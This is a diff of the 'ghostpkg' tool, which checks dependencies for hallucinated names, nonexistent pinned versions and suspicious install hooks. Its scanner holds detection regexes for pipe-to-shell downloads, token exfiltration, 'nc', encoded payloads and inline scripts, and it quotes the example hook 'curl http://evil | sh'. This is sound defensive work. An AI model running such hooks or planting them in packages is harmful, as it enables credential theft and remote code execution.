ghostpkg 0.7.0__tar.gz → 0.8.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/CHANGELOG.md +41 -1
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/PKG-INFO +10 -3
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/README.en.md +9 -2
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/README.md +3 -2
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/__init__.py +1 -1
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/assess.py +50 -1
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/cache.py +17 -5
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/cli.py +41 -17
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/inspection.py +135 -22
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/manifests.py +103 -42
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/registries.py +12 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/pyproject.toml +1 -1
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_cache.py +20 -9
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_manifests.py +42 -36
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_regressions.py +19 -13
- ghostpkg-0.8.0/tests/test_versions.py +205 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/ISSUE_TEMPLATE/bug.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/ISSUE_TEMPLATE/false-positive.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/ISSUE_TEMPLATE/missed-package.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/workflows/ci.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.gitignore +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/2.0 +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/CONTRIBUTING.md +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/LICENSE +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/SECURITY.md +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/assets/banner.html +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/assets/banner.png +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/assets/demo.gif +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/assets/make_demo.py +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/__main__.py +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/data.py +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_assess.py +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_inspection.py +0 -0
|
@@ -6,6 +6,45 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
|
6
6
|
|
|
7
7
|
## [Unreleased]
|
|
8
8
|
|
|
9
|
+
## [0.8.0] - 2026-09-01
|
|
10
|
+
|
|
11
|
+
### Added
|
|
12
|
+
- **Pinned versions are checked.** `requests==99.99.99` used to come back "ok"
|
|
13
|
+
because only the name was looked up. A version a model invented is the same
|
|
14
|
+
class of mistake as a name it invented, and just as precise to check: the
|
|
15
|
+
registry response already lists every real version, so this costs nothing
|
|
16
|
+
extra. Only exact pins are checked -- `==1.2.3` on PyPI, a bare `1.2.3` on
|
|
17
|
+
npm. Ranges like `>=2.31` or `^4.18.0` may be satisfied by some other
|
|
18
|
+
version, so there is nothing definite to say about them.
|
|
19
|
+
- `ghostpkg check requests==2.31.0` accepts a pin on the command line too.
|
|
20
|
+
|
|
21
|
+
### Fixed
|
|
22
|
+
- **`--deep` missed essentially every realistic malicious npm hook.** The
|
|
23
|
+
patterns were written for Python and JavaScript *source*, but npm install
|
|
24
|
+
hooks are *shell commands*. `curl http://evil | sh` carries no `curl -` flag
|
|
25
|
+
to match, `node -e` is not `eval(`, and `powershell -c IWR` looks nothing
|
|
26
|
+
like `urllib.request`. All six shapes now match, and nine ordinary hooks
|
|
27
|
+
(`tsc`, `node-gyp rebuild`, `husky install`, …) stay clean.
|
|
28
|
+
- **`"postinstall": "node install.js"` is now followed.** It is the commonest
|
|
29
|
+
shape of all, and the code that matters is in the file it names, which was
|
|
30
|
+
never read.
|
|
31
|
+
- **`--deep` no longer passes a package it could not inspect.** A package with
|
|
32
|
+
no source archive, or one larger than the size limit, was silently treated
|
|
33
|
+
like a clean result -- so padding an archive was a way to switch `--deep` off
|
|
34
|
+
from the outside. It now says so and warns.
|
|
35
|
+
- **A negative result is never cached.** Caching it for an hour seemed safe
|
|
36
|
+
until a real case appeared: PyPI's RSS announces a package a moment before
|
|
37
|
+
its JSON API serves it, so a lookup 404s, and a legitimately published
|
|
38
|
+
package was then reported as non-existent for the rest of the hour. A stale
|
|
39
|
+
block is the worst failure this tool has. Positive results are still cached.
|
|
40
|
+
- **The reported nearest name is deterministic.** Iterating a frozenset has no
|
|
41
|
+
defined order, so `cjson` came back as `ujson` or `ijson` depending on
|
|
42
|
+
`PYTHONHASHSEED`.
|
|
43
|
+
|
|
44
|
+
### Changed
|
|
45
|
+
- The parser now carries each dependency's version specifier and line number
|
|
46
|
+
rather than the bare name.
|
|
47
|
+
|
|
9
48
|
## [0.7.0] - 2026-09-01
|
|
10
49
|
|
|
11
50
|
A correctness release. Several of these were **silent** failures -- the tool
|
|
@@ -244,7 +283,8 @@ First release.
|
|
|
244
283
|
- No corpus of hallucinated package names is shipped, following the decision of
|
|
245
284
|
the USENIX'25 authors not to publish theirs.
|
|
246
285
|
|
|
247
|
-
[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.
|
|
286
|
+
[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.8.0...HEAD
|
|
287
|
+
[0.8.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.8.0
|
|
248
288
|
[0.7.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.7.0
|
|
249
289
|
[0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
|
|
250
290
|
[0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.5
|
|
2
2
|
Name: ghostpkg
|
|
3
|
-
Version: 0.
|
|
3
|
+
Version: 0.8.0
|
|
4
4
|
Summary: Catch package names that do not exist before you install them
|
|
5
5
|
Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
|
|
6
6
|
Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
|
|
@@ -151,6 +151,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
|
|
|
151
151
|
|
|
152
152
|
```bash
|
|
153
153
|
ghostpkg check fastapi-middleware pandas-utils
|
|
154
|
+
ghostpkg check requests==99.99.99 # pins are checked too
|
|
154
155
|
ghostpkg check react-router-dom-utils -e npm
|
|
155
156
|
```
|
|
156
157
|
|
|
@@ -234,6 +235,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
|
|
|
234
235
|
| Signal | Verdict | Why |
|
|
235
236
|
|---|---|---|
|
|
236
237
|
| Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
|
|
238
|
+
| A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
|
|
237
239
|
| First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
|
|
238
240
|
| First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
|
|
239
241
|
| Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
|
|
@@ -365,13 +367,18 @@ ghostpkg scan requirements.txt --deep
|
|
|
365
367
|
```
|
|
366
368
|
|
|
367
369
|
`--deep` downloads the archive **only for recently published packages**, reads
|
|
368
|
-
only `setup.py` from it (or the install hooks out of `package.json
|
|
369
|
-
pattern-matches the text.
|
|
370
|
+
only `setup.py` from it (or the install hooks out of `package.json`, plus any
|
|
371
|
+
script those hooks name), and pattern-matches the text. npm hooks are matched
|
|
372
|
+
against shell-command patterns rather than source-code ones, because that is
|
|
373
|
+
what they are. If a package cannot be inspected — no source archive, or an
|
|
374
|
+
archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
|
|
370
375
|
are capped, so a decompression bomb cannot exhaust memory.
|
|
371
376
|
|
|
372
377
|
| Signal | What it means |
|
|
373
378
|
|---|---|
|
|
374
379
|
| `exfiltration` | Reads environment variables *and* contacts the network |
|
|
380
|
+
| `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
|
|
381
|
+
| `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
|
|
375
382
|
| `network` | Makes a network request during install |
|
|
376
383
|
| `subprocess` | Runs a shell command during install |
|
|
377
384
|
| `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
|
|
@@ -104,6 +104,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
|
|
|
104
104
|
|
|
105
105
|
```bash
|
|
106
106
|
ghostpkg check fastapi-middleware pandas-utils
|
|
107
|
+
ghostpkg check requests==99.99.99 # pins are checked too
|
|
107
108
|
ghostpkg check react-router-dom-utils -e npm
|
|
108
109
|
```
|
|
109
110
|
|
|
@@ -187,6 +188,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
|
|
|
187
188
|
| Signal | Verdict | Why |
|
|
188
189
|
|---|---|---|
|
|
189
190
|
| Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
|
|
191
|
+
| A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
|
|
190
192
|
| First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
|
|
191
193
|
| First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
|
|
192
194
|
| Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
|
|
@@ -318,13 +320,18 @@ ghostpkg scan requirements.txt --deep
|
|
|
318
320
|
```
|
|
319
321
|
|
|
320
322
|
`--deep` downloads the archive **only for recently published packages**, reads
|
|
321
|
-
only `setup.py` from it (or the install hooks out of `package.json
|
|
322
|
-
pattern-matches the text.
|
|
323
|
+
only `setup.py` from it (or the install hooks out of `package.json`, plus any
|
|
324
|
+
script those hooks name), and pattern-matches the text. npm hooks are matched
|
|
325
|
+
against shell-command patterns rather than source-code ones, because that is
|
|
326
|
+
what they are. If a package cannot be inspected — no source archive, or an
|
|
327
|
+
archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
|
|
323
328
|
are capped, so a decompression bomb cannot exhaust memory.
|
|
324
329
|
|
|
325
330
|
| Signal | What it means |
|
|
326
331
|
|---|---|
|
|
327
332
|
| `exfiltration` | Reads environment variables *and* contacts the network |
|
|
333
|
+
| `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
|
|
334
|
+
| `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
|
|
328
335
|
| `network` | Makes a network request during install |
|
|
329
336
|
| `subprocess` | Runs a shell command during install |
|
|
330
337
|
| `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
|
|
@@ -73,8 +73,8 @@ pipx install ghostpkg # ізольовано, глобальна ко
|
|
|
73
73
|
## Використання
|
|
74
74
|
|
|
75
75
|
```bash
|
|
76
|
-
# перевірити конкретні назви
|
|
77
|
-
ghostpkg check fastapi-middleware
|
|
76
|
+
# перевірити конкретні назви (можна із закріпленою версією)
|
|
77
|
+
ghostpkg check fastapi-middleware requests==99.99.99
|
|
78
78
|
|
|
79
79
|
# перевірити назву в npm
|
|
80
80
|
ghostpkg check react-router-dom-utils -e npm
|
|
@@ -115,6 +115,7 @@ ghostpkg clear-cache
|
|
|
115
115
|
| Сигнал | Вердикт |
|
|
116
116
|
|---|---|
|
|
117
117
|
| Немає в реєстрі | 🔴 **Заблоковано.** Назва — привид, встановлювати нічого. |
|
|
118
|
+
| Закріплена версія не існує (`requests==99.99.99`) | 🔴 **Заблоковано.** Вигадана версія — той самий клас помилки, що й вигадана назва. Діапазони (`>=2.31`, `^4.18`) не перевіряються: їх може задовольнити інша версія. |
|
|
118
119
|
| Опубліковано днями тому | 🟡 Попередження. Зловмисники реєструють швидко — але й чесні автори теж. |
|
|
119
120
|
| Лише один реліз | 🟡 Попередження. |
|
|
120
121
|
| Немає посилання на репозиторій | 🟡 Попередження. |
|
|
@@ -15,6 +15,7 @@ that installs new packages.
|
|
|
15
15
|
|
|
16
16
|
from __future__ import annotations
|
|
17
17
|
|
|
18
|
+
import re
|
|
18
19
|
from dataclasses import dataclass, field
|
|
19
20
|
from enum import Enum
|
|
20
21
|
|
|
@@ -24,6 +25,25 @@ from .registries import PackageFacts
|
|
|
24
25
|
YOUNG_DAYS = 90
|
|
25
26
|
NEW_DAYS = 365
|
|
26
27
|
|
|
28
|
+
# An exact pin, and only an exact pin. `>=`, `^`, `~` and wildcards describe a
|
|
29
|
+
# range that the registry may satisfy with some other version, so there is
|
|
30
|
+
# nothing definite to check. `==1.2.3` either exists or it does not.
|
|
31
|
+
PYPI_PIN = re.compile(r"^\s*==\s*([A-Za-z0-9][A-Za-z0-9.\-+!]*)\s*$")
|
|
32
|
+
NPM_PIN = re.compile(r"^\s*v?(\d+\.\d+\.\d+(?:[-+][A-Za-z0-9.\-]+)?)\s*$")
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
def exact_pin(specifier: str | None, ecosystem: str) -> str | None:
|
|
36
|
+
"""The single version a specifier demands, if it demands exactly one."""
|
|
37
|
+
if not specifier:
|
|
38
|
+
return None
|
|
39
|
+
pattern = NPM_PIN if ecosystem == "npm" else PYPI_PIN
|
|
40
|
+
match = pattern.match(specifier)
|
|
41
|
+
if not match:
|
|
42
|
+
return None
|
|
43
|
+
version = match.group(1)
|
|
44
|
+
# `==1.2.*` is a range wearing a pin's clothes.
|
|
45
|
+
return None if "*" in version else version
|
|
46
|
+
|
|
27
47
|
|
|
28
48
|
class Verdict(str, Enum):
|
|
29
49
|
OK = "OK"
|
|
@@ -88,6 +108,15 @@ def edit_distance(left: str, right: str, cutoff: int = 3) -> int:
|
|
|
88
108
|
|
|
89
109
|
POPULAR: dict[str, frozenset[str]] = {"pypi": TOP_PYPI, "npm": TOP_NPM}
|
|
90
110
|
|
|
111
|
+
# Iterating a frozenset has no defined order, so with several candidates at the
|
|
112
|
+
# same distance the reported neighbour changed between runs -- `cjson` came back
|
|
113
|
+
# as `ujson` or `ijson` depending on PYTHONHASHSEED. The verdict was stable and
|
|
114
|
+
# only the explanation moved, but unreproducible output is a poor look on a
|
|
115
|
+
# security tool. Membership tests still use the sets above.
|
|
116
|
+
POPULAR_ORDERED: dict[str, tuple[str, ...]] = {
|
|
117
|
+
ecosystem: tuple(sorted(names)) for ecosystem, names in POPULAR.items()
|
|
118
|
+
}
|
|
119
|
+
|
|
91
120
|
MIN_COMPARABLE_LENGTH = 5
|
|
92
121
|
|
|
93
122
|
|
|
@@ -131,7 +160,7 @@ def nearest_popular(name: str, ecosystem: str = "pypi") -> tuple[str, int] | Non
|
|
|
131
160
|
|
|
132
161
|
budget = _typo_budget(target)
|
|
133
162
|
best: tuple[str, int] | None = None
|
|
134
|
-
for candidate in
|
|
163
|
+
for candidate in POPULAR_ORDERED[ecosystem]:
|
|
135
164
|
if abs(len(candidate) - len(target)) > budget:
|
|
136
165
|
continue
|
|
137
166
|
distance = edit_distance(target, candidate, cutoff=budget)
|
|
@@ -146,6 +175,7 @@ def assess(
|
|
|
146
175
|
facts: PackageFacts,
|
|
147
176
|
strict: bool = False,
|
|
148
177
|
signals: "list | None" = None,
|
|
178
|
+
specifier: str | None = None,
|
|
149
179
|
) -> Finding:
|
|
150
180
|
"""Turn registry facts, and optionally --deep install-script signals, into
|
|
151
181
|
a verdict.
|
|
@@ -171,6 +201,25 @@ def assess(
|
|
|
171
201
|
facts=facts,
|
|
172
202
|
)
|
|
173
203
|
|
|
204
|
+
# A pinned version that does not exist is the same class of mistake as a
|
|
205
|
+
# name that does not exist, and just as precise: the registry lists every
|
|
206
|
+
# real version, so this is a lookup, not a heuristic. It blocks for the
|
|
207
|
+
# same reason non-existence does.
|
|
208
|
+
pin = exact_pin(specifier, facts.ecosystem)
|
|
209
|
+
if pin is not None and facts.has_version(pin) is False:
|
|
210
|
+
return Finding(
|
|
211
|
+
name=facts.name,
|
|
212
|
+
ecosystem=facts.ecosystem,
|
|
213
|
+
verdict=Verdict.BLOCK,
|
|
214
|
+
reasons=[
|
|
215
|
+
f"version {pin} does not exist "
|
|
216
|
+
f"(latest is {facts.latest_version})"
|
|
217
|
+
if facts.latest_version
|
|
218
|
+
else f"version {pin} does not exist"
|
|
219
|
+
],
|
|
220
|
+
facts=facts,
|
|
221
|
+
)
|
|
222
|
+
|
|
174
223
|
reasons: list[str] = []
|
|
175
224
|
|
|
176
225
|
if facts.age_days is not None:
|
|
@@ -4,10 +4,19 @@ Scanning a manifest costs one request per dependency, every time. A 200-line
|
|
|
4
4
|
requirements.txt in CI is 200 requests on every run, which is slow for the user
|
|
5
5
|
and rude to the registry.
|
|
6
6
|
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
7
|
+
**"Does not exist" is never cached.** That answer is the only one that blocks,
|
|
8
|
+
so it must always be fresh. Caching it briefly seemed safe until a real case
|
|
9
|
+
turned up: PyPI's RSS feed announces a package a moment before its JSON API
|
|
10
|
+
serves it, so a lookup lands on a 404, and a legitimately published package
|
|
11
|
+
was then reported as non-existent for the rest of the hour. A stale block is
|
|
12
|
+
the worst failure this tool has, and a missing name is rare enough in a real
|
|
13
|
+
manifest that re-checking costs almost nothing.
|
|
14
|
+
|
|
15
|
+
The reverse direction argues the same way: a name that is free right now can be
|
|
16
|
+
registered at any moment, and that is the entire attack. Either way, the
|
|
17
|
+
blocking signal is the one that must not come from a cache.
|
|
18
|
+
|
|
19
|
+
Positive answers are cached, since an established package changes slowly.
|
|
11
20
|
|
|
12
21
|
Cache failures are never fatal. An unwritable or corrupt cache degrades to no
|
|
13
22
|
cache at all rather than breaking a build.
|
|
@@ -29,7 +38,7 @@ from .registries import PackageFacts
|
|
|
29
38
|
|
|
30
39
|
SCHEMA = 1
|
|
31
40
|
|
|
32
|
-
TTL_MISSING =
|
|
41
|
+
TTL_MISSING = 0 # never cached -- see the module docstring
|
|
33
42
|
TTL_YOUNG = 6 * 60 * 60 # 6 hours -- facts still moving
|
|
34
43
|
TTL_ESTABLISHED = 24 * 60 * 60 # 1 day -- changes slowly
|
|
35
44
|
|
|
@@ -149,6 +158,9 @@ class Cache:
|
|
|
149
158
|
def put(self, facts: PackageFacts) -> None:
|
|
150
159
|
if not self.enabled:
|
|
151
160
|
return
|
|
161
|
+
# Never store a negative: it is the answer that blocks.
|
|
162
|
+
if not facts.exists:
|
|
163
|
+
return
|
|
152
164
|
entry = {
|
|
153
165
|
"at": time.time(),
|
|
154
166
|
"ttl": ttl_for(facts),
|
|
@@ -13,7 +13,7 @@ from . import __version__
|
|
|
13
13
|
from .assess import NEW_DAYS, Finding, Verdict, assess
|
|
14
14
|
from .cache import Cache
|
|
15
15
|
from .inspection import InspectionError, inspect_package
|
|
16
|
-
from .manifests import UnsupportedManifest, load_manifest
|
|
16
|
+
from .manifests import Requirement, UnsupportedManifest, load_manifest, parse_requirements
|
|
17
17
|
from .registries import RegistryError, fetch
|
|
18
18
|
|
|
19
19
|
EXIT_OK = 0
|
|
@@ -97,13 +97,18 @@ def summarise(findings: list[Finding], palette: Palette) -> None:
|
|
|
97
97
|
|
|
98
98
|
|
|
99
99
|
def evaluate(
|
|
100
|
-
|
|
100
|
+
requirements: "list[Requirement] | list[str]",
|
|
101
101
|
ecosystem: str,
|
|
102
102
|
strict: bool,
|
|
103
103
|
cache: Cache | None = None,
|
|
104
104
|
deep: bool = False,
|
|
105
105
|
) -> list[Finding]:
|
|
106
|
-
|
|
106
|
+
items = [
|
|
107
|
+
r if isinstance(r, Requirement) else Requirement(name=r) for r in requirements
|
|
108
|
+
]
|
|
109
|
+
|
|
110
|
+
def one(requirement: Requirement) -> Finding:
|
|
111
|
+
name = requirement.name
|
|
107
112
|
# A failure on one name must not discard the whole scan. It used to:
|
|
108
113
|
# pool.map re-raised the first exception while iterating, throwing away
|
|
109
114
|
# every confirmed BLOCK alongside it and skipping the cache write, so
|
|
@@ -124,32 +129,47 @@ def evaluate(
|
|
|
124
129
|
)
|
|
125
130
|
|
|
126
131
|
signals = None
|
|
132
|
+
not_inspected = None
|
|
127
133
|
# Only young packages are worth the download: a registered slopsquat is
|
|
128
134
|
# new by definition, and inspecting everything would make a scan slow
|
|
129
135
|
# for no gain. A compromised established package is a different threat
|
|
130
136
|
# and is out of scope -- SECURITY.md says so.
|
|
131
|
-
|
|
137
|
+
wanted = (
|
|
132
138
|
deep
|
|
133
139
|
and facts.exists
|
|
134
|
-
and facts.archive_url
|
|
135
140
|
and facts.age_days is not None
|
|
136
141
|
and facts.age_days < NEW_DAYS
|
|
137
|
-
)
|
|
142
|
+
)
|
|
143
|
+
if wanted and not facts.archive_url:
|
|
144
|
+
not_inspected = "no source archive published"
|
|
145
|
+
elif wanted:
|
|
138
146
|
try:
|
|
139
147
|
signals = inspect_package(facts.archive_url, ecosystem)
|
|
140
|
-
except InspectionError:
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
return assess(facts, strict=strict, signals=signals)
|
|
148
|
+
except InspectionError as exc:
|
|
149
|
+
not_inspected = str(exc)
|
|
144
150
|
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
151
|
+
finding = assess(
|
|
152
|
+
facts, strict=strict, signals=signals, specifier=requirement.specifier
|
|
153
|
+
)
|
|
154
|
+
# Saying nothing would let "could not inspect" read as "inspected and
|
|
155
|
+
# clean" -- and padding an archive past the size limit would then be a
|
|
156
|
+
# way to switch --deep off from the outside.
|
|
157
|
+
if not_inspected and not finding.is_blocked:
|
|
158
|
+
finding.reasons.append(f"install scripts not inspected: {not_inspected}")
|
|
159
|
+
if finding.verdict is Verdict.OK:
|
|
160
|
+
finding.verdict = Verdict.WARN
|
|
161
|
+
return finding
|
|
162
|
+
|
|
163
|
+
# Look each distinct (name, pin) pair up once. A manifest can repeat a
|
|
164
|
+
# name, and following -r includes makes that more likely.
|
|
165
|
+
unique: dict[tuple[str, str | None], Requirement] = {}
|
|
166
|
+
for item in items:
|
|
167
|
+
unique.setdefault((item.name, item.specifier), item)
|
|
148
168
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
|
149
|
-
results = dict(zip(unique, pool.map(one, unique)))
|
|
169
|
+
results = dict(zip(unique, pool.map(one, unique.values())))
|
|
150
170
|
if cache:
|
|
151
171
|
cache.save()
|
|
152
|
-
return [results[name] for
|
|
172
|
+
return [results[(item.name, item.specifier)] for item in items]
|
|
153
173
|
|
|
154
174
|
|
|
155
175
|
def build_parser() -> argparse.ArgumentParser:
|
|
@@ -163,7 +183,9 @@ def build_parser() -> argparse.ArgumentParser:
|
|
|
163
183
|
sub = parser.add_subparsers(dest="command", required=True)
|
|
164
184
|
|
|
165
185
|
check = sub.add_parser("check", help="check one or more package names")
|
|
166
|
-
check.add_argument(
|
|
186
|
+
check.add_argument(
|
|
187
|
+
"names", nargs="+", help="names, optionally pinned: requests==2.31.0"
|
|
188
|
+
)
|
|
167
189
|
check.add_argument("-e", "--ecosystem", choices=("pypi", "npm"), default="pypi")
|
|
168
190
|
|
|
169
191
|
scan = sub.add_parser("scan", help="check every dependency in a manifest")
|
|
@@ -225,7 +247,9 @@ def main(argv: list[str] | None = None) -> int:
|
|
|
225
247
|
print(f"ghostpkg: no dependencies found in {args.path}", file=sys.stderr)
|
|
226
248
|
return EXIT_OK
|
|
227
249
|
else:
|
|
228
|
-
|
|
250
|
+
# Accept a pin on the command line too: `ghostpkg check requests==2.31.0`.
|
|
251
|
+
names = parse_requirements("\n".join(args.names))
|
|
252
|
+
ecosystem = args.ecosystem
|
|
229
253
|
|
|
230
254
|
cache = Cache(enabled=not args.no_cache)
|
|
231
255
|
findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
|
|
@@ -99,6 +99,75 @@ PATTERNS: tuple[tuple[str, str, re.Pattern[str]], ...] = (
|
|
|
99
99
|
),
|
|
100
100
|
)
|
|
101
101
|
|
|
102
|
+
# npm install hooks are *shell commands*, not source code. The patterns above
|
|
103
|
+
# were written for Python and JavaScript idioms and missed every shape that
|
|
104
|
+
# actually appears: `curl http://evil | sh` carries no `curl -` flag, `node -e`
|
|
105
|
+
# is not `eval(`, and `powershell -c IWR` looks nothing like `urllib.request`.
|
|
106
|
+
SHELL_PATTERNS: tuple[tuple[str, str, re.Pattern[str]], ...] = (
|
|
107
|
+
(
|
|
108
|
+
"pipe-to-shell",
|
|
109
|
+
"downloads a script and pipes it straight into a shell",
|
|
110
|
+
re.compile(
|
|
111
|
+
r"(curl|wget|fetch|iwr|invoke-webrequest)\b[^|;&\n]*\|\s*"
|
|
112
|
+
r"(sh|bash|zsh|dash|node|python[0-9.]*|perl|ruby)\b",
|
|
113
|
+
re.IGNORECASE,
|
|
114
|
+
),
|
|
115
|
+
),
|
|
116
|
+
(
|
|
117
|
+
"exfiltration",
|
|
118
|
+
"sends an environment variable somewhere",
|
|
119
|
+
re.compile(
|
|
120
|
+
r"(\$\{?[A-Z_]*(TOKEN|SECRET|PASSWORD|_KEY)|process\.env\.[A-Za-z_]*"
|
|
121
|
+
r"(TOKEN|SECRET|PASSWORD|KEY))[\s\S]{0,200}?"
|
|
122
|
+
r"(curl|wget|https?://|fetch\(|axios|iwr\b)",
|
|
123
|
+
re.IGNORECASE,
|
|
124
|
+
),
|
|
125
|
+
),
|
|
126
|
+
(
|
|
127
|
+
"network",
|
|
128
|
+
"makes a network request at install time",
|
|
129
|
+
re.compile(
|
|
130
|
+
r"(\bcurl\b|\bwget\b|\biwr\b|invoke-webrequest|\bnc\b\s+-|https?://)",
|
|
131
|
+
re.IGNORECASE,
|
|
132
|
+
),
|
|
133
|
+
),
|
|
134
|
+
(
|
|
135
|
+
"inline-script",
|
|
136
|
+
"runs code passed on the command line",
|
|
137
|
+
re.compile(
|
|
138
|
+
r"\b(node|python[0-9.]*|ruby|perl|php)\b\s+(-e|-c|--eval)\b"
|
|
139
|
+
r"|\bpowershell\b[^\n]{0,80}\s-(c|command|enc|encodedcommand)\b",
|
|
140
|
+
re.IGNORECASE,
|
|
141
|
+
),
|
|
142
|
+
),
|
|
143
|
+
(
|
|
144
|
+
"encoded-payload",
|
|
145
|
+
"decodes an encoded blob at install time",
|
|
146
|
+
re.compile(
|
|
147
|
+
r"(base64\s+-d|base64\s+--decode|atob\(|Buffer\.from\([^)]*base64|"
|
|
148
|
+
r"frombase64string|-enc(odedcommand)?\b)",
|
|
149
|
+
re.IGNORECASE,
|
|
150
|
+
),
|
|
151
|
+
),
|
|
152
|
+
(
|
|
153
|
+
"environment",
|
|
154
|
+
"reads a credential from the environment at install time",
|
|
155
|
+
# Far more pointed in a shell hook than in build code: an install
|
|
156
|
+
# script has no ordinary reason to read a token.
|
|
157
|
+
re.compile(
|
|
158
|
+
r"(process\.env\.[A-Za-z_]*(TOKEN|SECRET|PASSWORD|KEY)"
|
|
159
|
+
r"|\$\{?[A-Z_]*(TOKEN|SECRET|PASSWORD|_KEY)\b)",
|
|
160
|
+
),
|
|
161
|
+
),
|
|
162
|
+
)
|
|
163
|
+
|
|
164
|
+
# `"postinstall": "node install.js"` is the commonest shape of all, and the
|
|
165
|
+
# interesting code lives in the file it names rather than in the hook itself.
|
|
166
|
+
REFERENCED_SCRIPT = re.compile(
|
|
167
|
+
r"\b(?:node|python[0-9.]*|sh|bash|ruby|perl)\s+"
|
|
168
|
+
r"(?:\./)?([A-Za-z0-9_./-]+\.(?:js|cjs|mjs|py|sh|rb|pl))\b"
|
|
169
|
+
)
|
|
170
|
+
|
|
102
171
|
# A long unbroken base64-looking run is worth flagging on its own.
|
|
103
172
|
BLOB = re.compile(r"['\"][A-Za-z0-9+/]{220,}={0,2}['\"]")
|
|
104
173
|
|
|
@@ -107,11 +176,15 @@ class InspectionError(RuntimeError):
|
|
|
107
176
|
"""The archive could not be retrieved or read."""
|
|
108
177
|
|
|
109
178
|
|
|
110
|
-
def scan_text(text: str, where: str) -> list[Signal]:
|
|
111
|
-
"""Pattern-match one install script. Never executes anything.
|
|
179
|
+
def scan_text(text: str, where: str, shell: bool = False) -> list[Signal]:
|
|
180
|
+
"""Pattern-match one install script. Never executes anything.
|
|
181
|
+
|
|
182
|
+
`shell=True` selects the command-line patterns used for npm hooks; the
|
|
183
|
+
default set describes Python and JavaScript source.
|
